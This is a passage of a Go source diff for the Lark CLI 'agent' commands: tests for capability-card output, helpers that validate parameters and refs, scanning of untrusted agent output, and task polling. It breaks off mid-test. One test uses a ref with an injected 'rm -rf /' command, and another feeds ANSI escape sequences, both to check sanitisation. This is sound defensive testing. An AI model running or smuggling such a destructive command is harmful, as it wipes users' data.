+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"strings"
+	"testing"
+
+	iagent "github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// cardTestOpts builds a cardOptions driving agentCardRun against a real
+// (test) Factory. The example card is synthesized statically, so no API call
+// is made and stdout carries the capability card envelope.
+func cardTestOpts(t *testing.T, ref string) (*cardOptions, *core.CliConfig) {
+	t.Helper()
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := resolveCmd(t, true, "bot") // reuses the common_test.go helper (--as=bot)
+	return &cardOptions{Factory: f, Cmd: cmd, Ref: ref, As: "bot", Format: "json"}, cfg
+}
+
+// TestAgentCardRun_ExampleStaticCard verifies that `agent card example:echo`
+// returns the statically synthesized capability card (no API), with
+// task_cancel gated off and multi_turn on, and the agent_id echoed from the
+// ref.
+func TestAgentCardRun_ExampleStaticCard(t *testing.T) {
+	opts, _ := cardTestOpts(t, "example:echo")
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentCardRun(opts); err != nil {
+		t.Fatalf("card should be statically synthesized and not error: %v", err)
+	}
+
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v", err)
+	}
+	if !env.OK {
+		t.Errorf("ok should be true: %+v", env)
+	}
+	data, ok := env.Data.(map[string]interface{})
+	if !ok {
+		t.Fatalf("data should be a card object, got %T", env.Data)
+	}
+	if data["agent_id"] != "echo" {
+		t.Errorf("agent_id should echo the ref, got %v", data["agent_id"])
+	}
+	if data["provider"] != "example" {
+		t.Errorf("provider should be example, got %v", data["provider"])
+	}
+	// source was removed from the card (schema tightening).
+	if _, present := data["source"]; present {
+		t.Errorf("card should no longer carry a source field, got %v", data["source"])
+	}
+	caps, ok := data["capabilities"].(map[string]interface{})
+	if !ok {
+		t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
+	}
+	if caps["task_cancel"] != false {
+		t.Errorf("echo task_cancel should be false, got %v", caps["task_cancel"])
+	}
+	if caps["multi_turn"] != true {
+		t.Errorf("echo multi_turn should be true, got %v", caps["multi_turn"])
+	}
+	// parameters / identity must serialize as non-null (guard against omitempty
+	// regression): parameters is always an array (empty [] for example),
+	// identity is a non-empty array.
+	if params, ok := data["parameters"].([]interface{}); !ok {
+		t.Errorf("parameters should be a non-null array, got %T (%v)", data["parameters"], data["parameters"])
+	} else if len(params) != 0 {
+		t.Errorf("example parameters should be an empty array, got %v", params)
+	}
+	if ids, ok := data["identity"].([]interface{}); !ok || len(ids) == 0 {
+		t.Errorf("identity should be a non-null non-empty array, got %T (%v)", data["identity"], data["identity"])
+	}
+	// card no longer exposes scope: the required_scopes field was removed from
+	// AgentCard (scope is an internal registration item used only for preflight).
+	if _, present := data["required_scopes"]; present {
+		t.Errorf("card should no longer carry a required_scopes field, got %v", data["required_scopes"])
+	}
+}
+
+// TestAgentCardRun_PrettyFormat verifies that with --format pretty (opt-in
+// since the json default flip), the card renders as a human-readable listing.
+// The output must surface the identity and capability names in plain text so
+// the stream is not valid envelope JSON.
+func TestAgentCardRun_PrettyFormat(t *testing.T) {
+	opts, _ := cardTestOpts(t, "example:echo")
+	opts.Format = "pretty"
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentCardRun(opts); err != nil {
+		t.Fatalf("card pretty should not error: %v", err)
+	}
+
+	text := string(out.Bytes())
+	// A pretty rendering is human text, not a JSON envelope.
+	var env output.Envelope
+	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
+		t.Fatalf("pretty format should not output a JSON envelope: %s", text)
+	}
+	if !strings.Contains(text, "echo") {
+		t.Errorf("pretty output should contain agent_id: %s", text)
+	}
+	// multi_turn is a declared capability of the echo card; it must appear.
+	if !strings.Contains(text, "multi_turn") {
+		t.Errorf("pretty output should list capabilities: %s", text)
+	}
+}
+
+// TestAgentCardRun_JSONFormat pins that --format json still emits the envelope.
+func TestAgentCardRun_JSONFormat(t *testing.T) {
+	opts, _ := cardTestOpts(t, "example:echo")
+	opts.Format = "json"
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentCardRun(opts); err != nil {
+		t.Fatalf("card json should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("json format should be a valid envelope: %v (%s)", err, string(out.Bytes()))
+	}
+	if !env.OK {
+		t.Errorf("ok should be true: %+v", env)
+	}
+}
+
+// TestAgentCardJqFlagRegisteredAndConsumed pins the quality-review fix: the
+// --jq flag must actually be REGISTERED on `agent card` (the run path already
+// called jqExpr/JqFilter, but without the flag `--jq` was an unknown-flag
+// exit 2 — and the skill doc teaches AI to copy `card ... --jq`). Executed via
+// the real command so registration + consumption are proven together.
+func TestAgentCardJqFlagRegisteredAndConsumed(t *testing.T) {
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := NewCmdAgentCard(f)
+	cmd.SetOut(&bytes.Buffer{})
+	cmd.SetErr(&bytes.Buffer{})
+	cmd.SetContext(context.Background())
+	cmd.SetArgs([]string{"example:echo", "--as", "bot", "--jq", ".data.agent_id"})
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("card --jq should not error: %v", err)
+	}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+	got := strings.TrimSpace(string(out.Bytes()))
+	if !strings.Contains(got, "echo") || strings.Contains(got, `"ok"`) {
+		t.Errorf("--jq .data.agent_id should output only the filtered result, got %q", got)
+	}
+}
+
+// TestPrintCardPretty_NilCard pins that a nil card degrades to a placeholder
+// line instead of panicking (card.go nil branch).
+func TestPrintCardPretty_NilCard(t *testing.T) {
+	out := &bytes.Buffer{}
+	printCardPretty(out, nil)
+	if !strings.Contains(out.String(), "(no card)") {
+		t.Errorf("nil card should print a placeholder line, got: %q", out.String())
+	}
+}
+
+// TestPrintCardPretty_AllOptionalFields exercises every optional-field branch of
+// the pretty renderer that a minimal static card omits: the dynamic-card Name
+// (taking precedence over ProviderLabel), Description, declared Parameters, and
+// the Skills block (both the named skill and the id-fallback when Name is empty).
+func TestPrintCardPretty_AllOptionalFields(t *testing.T) {
+	card := &iagent.AgentCard{
+		Provider:      "demo",
+		ProviderLabel: "demo 自定义智能体",
+		Name:          "Demo Agent", // only dynamic cards have Name; it should override ProviderLabel
+		AgentID:       "agt_demo",
+		Description:   "a helpful demo agent",
+		Identity: []iagent.IdentitySpec{
+			{Type: "user"},
+			{Type: "bot", Precondition: "需加入渠道白名单"},
+		},
+		Capabilities: iagent.Capabilities{
+			MultiTurn:  true,
+			TaskCancel: false,
+		},
+		Parameters: []iagent.CardParam{
+			{Name: "locale", Type: "string", Required: true, Desc: "reply locale"},
+		},
+		Skills: []iagent.CardSkill{
+			{ID: "sk_1", Name: "Sales Analysis"},
+			{ID: "sk_2"}, // no Name → falls back to ID
+		},
+	}
+	out := &bytes.Buffer{}
+	printCardPretty(out, card)
+	text := out.String()
+
+	for _, want := range []string{
+		"Demo Agent (agt_demo)", // dynamic Name takes precedence over ProviderLabel
+		"a helpful demo agent",  // Description branch
+		"identity: user, bot",   // IdentitySpec types are joined
+		"需加入渠道白名单",              // identity precondition must be visible in pretty (Task 11 wrap-up)
+		"locale",                // Parameters branch
+		"skills:",               // Skills block header
+		"Sales Analysis",        // skill with a Name
+		"sk_2",                  // skill without a Name → id fallback
+	} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
+		}
+	}
+}
+
+// TestPrintCardPretty_StripsANSIFromRemoteFields pins that a remote card's
+// agent-controlled Name/Description cannot smuggle ANSI escapes to the
+// terminal (this sanitization is applied to every pretty surface).
+func TestPrintCardPretty_StripsANSIFromRemoteFields(t *testing.T) {
+	card := &iagent.AgentCard{
+		Provider:    "demo",
+		AgentID:     "agt_demo",
+		Name:        "\x1b[31mEvil\x1b[0m Agent",
+		Description: "desc\x1b[2Jwipe",
+	}
+	out := &bytes.Buffer{}
+	printCardPretty(out, card)
+	text := out.String()
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI sequences in remote card fields must be stripped: %q", text)
+	}
+	if !strings.Contains(text, "Evil Agent") || !strings.Contains(text, "descwipe") {
+		t.Errorf("readable text should remain after stripping, got: %q", text)
+	}
+}
+
+// TestPrintCardPretty_StaticFallsBackToProviderLabel pins that a static card
+// (no dynamic Name) renders its ProviderLabel as the header.
+func TestPrintCardPretty_StaticFallsBackToProviderLabel(t *testing.T) {
+	card := &iagent.AgentCard{
+		Provider:      "demo",
+		ProviderLabel: "demo 自定义智能体",
+		AgentID:       "agt_demo",
+	}
+	out := &bytes.Buffer{}
+	printCardPretty(out, card)
+	if !strings.Contains(out.String(), "demo 自定义智能体 (agt_demo)") {
+		t.Errorf("should fall back to ProviderLabel when Name is empty, got:\n%s", out.String())
+	}
+}
+
+// TestAgentCardRun_InvalidRef surfaces a malformed ref as a validation error
+// before any provider is built.
+func TestAgentCardRun_InvalidRef(t *testing.T) {
+	opts, _ := cardTestOpts(t, "no-colon")
+	if err := agentCardRun(opts); err == nil {
+		t.Fatal("malformed ref should error")
+	}
+}
+
+// TestNewCmdAgentCard_ReadRiskAndArgs pins ExactArgs(1), read risk, and the
+// presence of --format and --as flags.
+func TestNewCmdAgentCard_ReadRiskAndArgs(t *testing.T) {
+	cmd := NewCmdAgentCard(nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
+		t.Errorf("agent card should be marked read risk, got level=%q ok=%v", level, ok)
+	}
+	if err := cmd.Args(cmd, []string{}); err == nil {
+		t.Error("agent card missing ref should report an argument error (ExactArgs 1)")
+	}
+	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
+		t.Errorf("agent card with a single ref should be valid: %v", err)
+	}
+	fl := cmd.Flags().Lookup("format")
+	if fl == nil {
+		t.Fatal("agent card should have a --format flag")
+	}
+	// Default output format is unified: card default flips from pretty to json.
+	if fl.DefValue != "json" {
+		t.Errorf("card --format default should flip to json, got %q", fl.DefValue)
+	}
+	if cmd.Flags().Lookup("as") == nil {
+		t.Error("agent card should have an --as flag")
+	}
+}

cmd/agent/common.go

@@ -0,0 +1,314 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// Package agent implements the `agent` command tree: a provider-agnostic
+// surface over remote A2A agents. This file holds the shared
+// command-layer helpers: ref→provider resolution, --param validation against a
+// Card, success-envelope emission, capability gating, and wait/watch polling.
+package agent
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"strings"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagent "github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// supportedIdentities is the identity whitelist enforced for every agent
+// command; provider cards advertise (a subset of) the same set.
+var supportedIdentities = []string{string(core.AsUser), string(core.AsBot)}
+
+// sleep is the package-level, test-injectable backoff sleep. It blocks for d or
+// until ctx is done, returning true if the full duration elapsed and false if
+// ctx was canceled first. Tests swap it for a no-op.
+var sleep = func(ctx context.Context, d time.Duration) bool {
+	t := time.NewTimer(d)
+	defer t.Stop()
+	select {
+	case <-t.C:
+		return true
+	case <-ctx.Done():
+		return false
+	}
+}
+
+// resolveProviderNoClient resolves the effective identity, enforces the
+// user|bot whitelist, and constructs the Provider addressed by ref WITHOUT
+// requiring a configured API client. It is the resolution path for the
+// API-free operations that always work — `agent card` (static synthesis) and
+// `agent send --dry-run` (client-side preview) — so they succeed even before
+// `lark-cli config init`. The provider's client is nil; only API-free methods
+// (Card) may be called on it. A malformed ref or unknown provider scheme is
+// wrapped into a validation typed error (subtype invalid_argument, exit 2), so
+// those surface before (not behind) the config gate.
+func resolveProviderNoClient(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (*iagent.Provider, core.Identity, error) {
+	id := f.ResolveAs(cmd.Context(), cmd, core.Identity(asStr))
+	if err := f.CheckIdentity(id, supportedIdentities); err != nil {
+		return nil, "", err
+	}
+	p, err := iagent.Resolve(ref, iagent.Deps{As: id})
+	if err != nil {
+		// ParseRef / unknown-scheme errors already carry the validation wording;
+		// promote them to a typed validation error (with a recovery hint)
+		// so RunE never returns a bare error and the exit code / subtype are
+		// stable.
+		return nil, "", wrapRefResolveError(err)
+	}
+	return p, id, nil
+}
+
+// wrapRefResolveError promotes a ParseRef / provider-resolution error to a
+// validation typed error (subtype invalid_argument, exit 2) and attaches the
+// recovery hint keyed to the failure mode: a malformed ref (no ':' / empty
+// half — matched via the ErrInvalidRef sentinel) teaches the <scheme>:<agent_id>
+// shape; an unknown scheme points at `agent list` to discover the available
+// providers. Both hints are copy-pasteable next steps, not just wording.
+func wrapRefResolveError(err error) error {
+	e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
+	if errors.Is(err, iagent.ErrInvalidRef) {
+		return e.WithHint("agent_ref 形如 <scheme>:<agent_id>，如 example:echo")
+	}
+	return e.WithHint("用 lark-cli agent list 查看可用 provider")
+}
+
+// resolveProvider resolves the identity and constructs the Provider addressed
+// by ref backed by a configured API client, for commands that actually call the
+// remote API. Ref/scheme validation runs first (via resolveProviderNoClient) so
+// a malformed ref or unknown scheme is a validation error (exit 2) surfaced
+// BEFORE the config gate — an unconfigured user still gets the precise error,
+// not not_configured. Only after the ref is valid does it require a
+// configured client (not_configured / exit 3 is correct for a real API call).
+//
+// Wiring rule: every verb that calls the real API MUST run preflightScopesForRef
+// right after this succeeds and before the API call, so a new verb is
+// never silently exempt from the local scope preflight.
+func resolveProvider(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (*iagent.Provider, core.Identity, error) {
+	_, id, err := resolveProviderNoClient(f, cmd, ref, asStr)
+	if err != nil {
+		return nil, "", err
+	}
+	apiClient, err := f.NewAPIClient()
+	if err != nil {
+		return nil, "", err
+	}
+	p, err := iagent.Resolve(ref, iagent.Deps{Client: apiClient, As: id})
+	if err != nil {
+		return nil, "", wrapRefResolveError(err)
+	}
+	return p, id, nil
+}
+
+// cardHint builds the "check the agent card" hint. The ref is user-echoed
+// input: when it passes the safeNextRef whitelist the hint carries the
+// copy-pasteable command; otherwise it degrades to plain guidance without any
+// interpolated command (a ref containing spaces would make the command
+// non-copy-pasteable, and the hint is what an AI copies verbatim).
+func cardHint(ref, what string) string {
+	if safeNextRef(ref) {
+		return fmt.Sprintf("运行 lark-cli agent card %s 查看%s", ref, what)
+	}
+	return fmt.Sprintf("查看该 agent 的能力卡片（agent card 命令）确认%s", what)
+}
+
+// parseAndValidateParams parses `key=value` --param pairs and validates them
+// against the card's Parameters declaration: every Required parameter must be
+// present, and every provided key must be declared (an undeclared key
+// would otherwise be silently dropped by the provider). A pair without '=' (or
+// an empty key), a missing required parameter, or an unknown key returns a
+// validation typed error (subtype invalid_argument, param "param:<key>")
+// whose hint points at `agent card <ref>`. A nil card skips both
+// card-driven checks.
+func parseAndValidateParams(kvs []string, card *iagent.AgentCard, ref string) (map[string]string, error) {
+	m := make(map[string]string, len(kvs))
+	for _, kv := range kvs {
+		k, v, ok := strings.Cut(kv, "=")
+		if !ok || k == "" {
+			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"--param 格式应为 key=value，得到 %q", kv).
+				WithParam("--param").
+				WithHint("以 --param key=value 形式重发")
+		}
+		m[k] = v
+	}
+	if card != nil {
+		declared := make(map[string]bool, len(card.Parameters))
+		for _, p := range card.Parameters {
+			declared[p.Name] = true
+		}
+		// Unknown keys are checked in input order so the reported key is
+		// deterministic when several are undeclared.
+		for _, kv := range kvs {
+			k, _, _ := strings.Cut(kv, "=")
+			if !declared[k] {
+				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+					"未知参数 %s（该 agent 未声明此参数）", k).
+					WithParam("param:"+k).
+					WithHint("%s", cardHint(ref, " parameters 声明"))
+			}
+		}
+		for _, p := range card.Parameters {
+			if !p.Required {
+				continue
+			}
+			if _, ok := m[p.Name]; !ok {
+				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+					"缺少必填参数 %s（该 agent 要求）", p.Name).
+					WithParam("param:"+p.Name).
+					WithHint("%s", cardHint(ref, " parameters 声明"))
+			}
+		}
+	}
+	return m, nil
+}
+
+// emitTask writes a task result: the standard success envelope carrying
+// meta.next[] hints for AI callers, or — with format=pretty and no --jq —
+// the key:value human view. Because the agent's messages/artifacts are
+// untrusted external content, the payload is run through content-safety
+// scanning before emission on BOTH paths (and the pretty path additionally
+// ANSI-strips agent text). A --jq expression, when the leaf command registers
+// one, implies structured JSON and filters stdout.
+func emitTask(f *cmdutil.Factory, cmd *cobra.Command, task *iagent.AgentTask, next []output.NextAction, format string) error {
+	out := f.IOStreams.Out
+	errOut := f.IOStreams.ErrOut
+
+	scan := output.ScanForSafety(cmd.CommandPath(), task, errOut)
+	if scan.Blocked {
+		return scan.BlockErr
+	}
+
+	if format == "pretty" && jqExpr(cmd) == "" {
+		if scan.Alert != nil {
+			output.WriteAlertWarning(errOut, scan.Alert)
+		}
+		printTaskPretty(out, task)
+		return nil
+	}
+
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(f.ResolvedIdentity),
+		Data:     task,
+		Notice:   output.GetNotice(),
+	}
+	if len(next) > 0 {
+		env.Meta = &output.Meta{Next: next}
+	}
+	if scan.Alert != nil {
+		env.ContentSafetyAlert = scan.Alert
+	}
+
+	if jq := jqExpr(cmd); jq != "" {
+		if scan.Alert != nil {
+			output.WriteAlertWarning(errOut, scan.Alert)
+		}
+		return output.JqFilter(out, env, jq)
+	}
+	output.PrintJson(out, env)
+	return nil
+}
+
+// jqExpr reads the --jq flag value if the leaf command registered one; absent
+// otherwise.
+func jqExpr(cmd *cobra.Command) string {
+	if cmd == nil { // options structs built directly in tests may carry no Cmd
+		return ""
+	}
+	if f := cmd.Flags().Lookup("jq"); f != nil {
+		return f.Value.String()
+	}
+	return ""
+}
+
+// capabilityError returns the unsupported_capability validation error (exit 2)
+// used for capability gating: capHuman is the human-facing action (e.g.
+// "task cancel"), capKey the Card capability key (e.g. task_cancel). The hint
+// interpolates ref only when it passes the whitelist (cardHint).
+func capabilityError(ref, capHuman, capKey string) error {
+	return errs.NewValidationError(
+		errs.SubtypeUnsupportedCapability,
+		"agent '%s' 不支持 '%s'（capability %s=false）", ref, capHuman, capKey,
+	).WithHint("%s", cardHint(ref, "支持的能力"))
+}
+
+// normalizeTask derives the redundant IsTerminal flag from State — the single
+// source of truth — the moment a task enters the command layer, so a provider
+// that forgets (or mis-fills) the flag can never skew watch exit codes or an
+// AI caller's stop-polling decision. nil-safe; returns t for call-site chaining.
+func normalizeTask(t *iagent.AgentTask) *iagent.AgentTask {
+	if t != nil {
+		t.IsTerminal = t.State.IsTerminal()
+	}
+	return t
+}
+
+// normalizeTaskSummaries derives IsTerminal from State for every summary (same
+// single-source rule as normalizeTask), returning the slice for chaining.
+func normalizeTaskSummaries(ts []iagent.TaskSummary) []iagent.TaskSummary {
+	for i := range ts {
+		ts[i].IsTerminal = ts[i].State.IsTerminal()
+	}
+	return ts
+}
+
+// pollToStop polls GetTask with exponential backoff (1s → 5s cap) until the
+// task hits a stop condition (terminal, input_required, or auth_required)
+// or ctx is done. A timeout is not a failure: it returns the most recent
+// task with a nil error, letting the caller print the current state (exit 0). A
+// provider GetTask error is surfaced.
+func pollToStop(ctx context.Context, p *iagent.Provider, taskID string) (*iagent.AgentTask, error) {
+	const (
+		initialDelay = time.Second
+		maxDelay     = 5 * time.Second
+	)
+	var last *iagent.AgentTask
+	delay := initialDelay
+	for {
+		task, err := p.GetTask(ctx, taskID)
+		if err != nil {
+			return last, err
+		}
+		last = task
+		if task.State.ShouldStopPolling() {
+			return task, nil
+		}
+		if ctx.Err() != nil {
+			return last, nil //nolint:nilerr // a poll timeout is an observation-window close, not a task failure — return the last task with exit 0
+		}
+		if !sleep(ctx, delay) {
+			// ctx canceled during backoff → observation window closed, not a
+			// task failure.
+			return last, nil
+		}
+		if delay < maxDelay {
+			if delay *= 2; delay > maxDelay {
+				delay = maxDelay
+			}
+		}
+	}
+}
+
+// semanticExitError maps a wait/watch terminal task to the semantic exit code:
+// a non-successful terminal state (failed/rejected/canceled) yields a
+// silent exit-1 signal; any other state (including a successful terminal or a
+// non-terminal stop like input_required) yields nil. A nil task yields nil.
+func semanticExitError(task *iagent.AgentTask) error {
+	if task == nil || !task.IsTerminal {
+		return nil
+	}
+	switch task.State {
+	case iagent.StateFailed, iagent.StateRejected, iagent.StateCanceled:
+		return output.ErrBare(1)
+	default:
+		return nil
+	}
+}

cmd/agent/common_test.go

@@ -0,0 +1,798 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"errors"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	extcs "github.com/larksuite/cli/extension/contentsafety"
+	iagent "github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+func TestValidateParamsAgainstCard(t *testing.T) {
+	// Card mixes a required and an optional param so both loop branches run:
+	// the optional param must be skipped (the `!p.Required continue` path) while
+	// the required one is still enforced.
+	card := &iagent.AgentCard{Parameters: []iagent.CardParam{
+		{Name: "app_id", Required: true},
+		{Name: "locale", Required: false},
+	}}
+	// missing required
+	if _, err := parseAndValidateParams([]string{}, card, "example:agt_x"); err == nil {
+		t.Error("missing required app_id should error")
+	}
+	// provide required, omit optional: the optional param is skipped and must not error
+	m, err := parseAndValidateParams([]string{"app_id=app_sales"}, card, "example:agt_x")
+	if err != nil || m["app_id"] != "app_sales" {
+		t.Fatalf("should parse app_id and allow omitting optional locale: %v %v", m, err)
+	}
+	if _, ok := m["locale"]; ok {
+		t.Errorf("an optional param that was not provided should not appear in the result: %v", m)
+	}
+	// invalid format
+	if _, err := parseAndValidateParams([]string{"noequals"}, card, "example:agt_x"); err == nil {
+		t.Error("--param without = should error")
+	}
+}
+
+// TestParseParams_ValueWithEquals ensures values may themselves contain '='
+// (only the first '=' splits key from value).
+func TestParseParams_ValueWithEquals(t *testing.T) {
+	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "filter"}}}
+	m, err := parseAndValidateParams([]string{"filter=a=b"}, card, "example:agt_x")
+	if err != nil {
+		t.Fatalf("a value containing = should not error: %v", err)
+	}
+	if m["filter"] != "a=b" {
+		t.Fatalf("value should preserve =, got %q", m["filter"])
+	}
+}
+
+// TestParseParams_EmptyKey rejects an empty key (leading '=').
+func TestParseParams_EmptyKey(t *testing.T) {
+	if _, err := parseAndValidateParams([]string{"=v"}, &iagent.AgentCard{}, "example:agt_x"); err == nil {
+		t.Error("empty key should error")
+	}
+}
+
+// TestParseParams_UnknownKeyRejected pins that a --param key not declared in the
+// card's Parameters is a validation error (subtype invalid_argument, param
+// "param:<key>") whose hint points at `agent card`; a declared optional key
+// still passes.
+func TestParseParams_UnknownKeyRejected(t *testing.T) {
+	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "foo"}}}
+	m, err := parseAndValidateParams([]string{"foo=1"}, card, "example:agt_x")
+	if err != nil || m["foo"] != "1" {
+		t.Fatalf("a declared optional param should pass: %v %v", m, err)
+	}
+
+	_, err = parseAndValidateParams([]string{"bar=1"}, card, "example:agt_x")
+	if err == nil {
+		t.Fatal("an undeclared --param should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.Param != "param:bar" {
+		t.Fatalf("param should be param:bar, got %+v", verr)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	if !strings.Contains(p.Hint, "agent card example:agt_x") {
+		t.Fatalf("hint should point to agent card, got %q", p.Hint)
+	}
+}
+
+// TestParseParams_NilCard tolerates a nil card (no required/unknown-param check).
+func TestParseParams_NilCard(t *testing.T) {
+	m, err := parseAndValidateParams([]string{"k=v"}, nil, "example:agt_x")
+	if err != nil || m["k"] != "v" {
+		t.Fatalf("nil card should parse normally: %v %v", m, err)
+	}
+}
+
+// TestParseParams_MissingRequiredIsValidation confirms the missing-required
+// error is a validation typed error with subtype invalid_argument, its param
+// carries the param: prefix, and its hint points at agent card (Task 2 review
+// leftover).
+func TestParseParams_MissingRequiredIsValidation(t *testing.T) {
+	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
+	_, err := parseAndValidateParams([]string{}, card, "example:agt_x")
+	if err == nil {
+		t.Fatal("missing required should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+	p, _ := errs.ProblemOf(err)
+	if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.Param != "param:app_id" {
+		t.Fatalf("param should be param:app_id, got %+v", verr)
+	}
+	if !strings.Contains(p.Hint, "agent card example:agt_x") {
+		t.Fatalf("hint should point to agent card, got %q", p.Hint)
+	}
+}
+
+// TestParseParams_UnsafeRefDegradesHint pins the ref-interpolation whitelist on
+// the hint side: a ref that fails the <charset>:<charset> whitelist must not be
+// echoed into the hint command; the hint degrades to plain guidance instead.
+func TestParseParams_UnsafeRefDegradesHint(t *testing.T) {
+	dirtyRef := "example:agt x; rm -rf /"
+	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
+
+	_, err := parseAndValidateParams([]string{}, card, dirtyRef)
+	if err == nil {
+		t.Fatal("missing required should error")
+	}
+	p, _ := errs.ProblemOf(err)
+	if p == nil || p.Hint == "" {
+		t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
+	}
+	if strings.Contains(p.Hint, dirtyRef) {
+		t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
+	}
+
+	// the unknown-param path is handled the same way.
+	_, err = parseAndValidateParams([]string{"app_id=1", "bogus=1"}, card, dirtyRef)
+	if err == nil {
+		t.Fatal("an undeclared param should error")
+	}
+	p, _ = errs.ProblemOf(err)
+	if p == nil || p.Hint == "" || strings.Contains(p.Hint, dirtyRef) {
+		t.Fatalf("unknown-param hint should degrade and not contain the unsafe ref, got %+v", p)
+	}
+}
+
+// TestCapabilityError_UnsafeRefDegradesHint pins the same whitelist on the
+// capability-gate hint: an unsafe ref degrades the hint to plain guidance.
+func TestCapabilityError_UnsafeRefDegradesHint(t *testing.T) {
+	err := capabilityError("example:agt x", "task cancel", iagent.CapTaskCancel)
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Hint == "" {
+		t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
+	}
+	if strings.Contains(p.Hint, "example:agt x") {
+		t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
+	}
+}
+
+// TestCapabilityError pins the unsupported_capability contract.
+func TestCapabilityError(t *testing.T) {
+	err := capabilityError("example:agt_xxx", "task cancel", iagent.CapTaskCancel)
+	if err == nil {
+		t.Fatal("should return an error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
+		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
+	}
+	if output.ExitCodeOf(err) != output.ExitValidation {
+		t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
+	}
+}
+
+// TestSemanticExitError maps terminal task states to the wait/watch exit code.
+func TestSemanticExitError(t *testing.T) {
+	cases := []struct {
+		state    iagent.TaskState
+		wantExit int
+	}{
+		{iagent.StateCompleted, output.ExitOK},
+		{iagent.StateFailed, 1},
+		{iagent.StateRejected, 1},
+		{iagent.StateCanceled, 1},
+		{iagent.StateInputRequired, output.ExitOK}, // non-terminal, not treated as failure
+		{iagent.StateWorking, output.ExitOK},
+	}
+	for _, c := range cases {
+		task := &iagent.AgentTask{State: c.state, IsTerminal: c.state.IsTerminal()}
+		err := semanticExitError(task)
+		if got := output.ExitCodeOf(err); got != c.wantExit {
+			t.Errorf("state=%s exit expected %d got %d (err=%v)", c.state, c.wantExit, got, err)
+		}
+	}
+	// nil task should not panic and is treated as success
+	if err := semanticExitError(nil); err != nil {
+		t.Errorf("nil task should return nil, got %v", err)
+	}
+}
+
+// fakePollProvider drives pollToStop through a scripted state sequence. It is
+// not registered, so provider() only wires GetTask (the sole field pollToStop
+// touches); calls/err stay observable on the struct after the poll.
+type fakePollProvider struct {
+	states []iagent.TaskState
+	calls  int
+	err    error
+}
+
+func (f *fakePollProvider) provider() *iagent.Provider {
+	return &iagent.Provider{
+		GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
+			if f.err != nil {
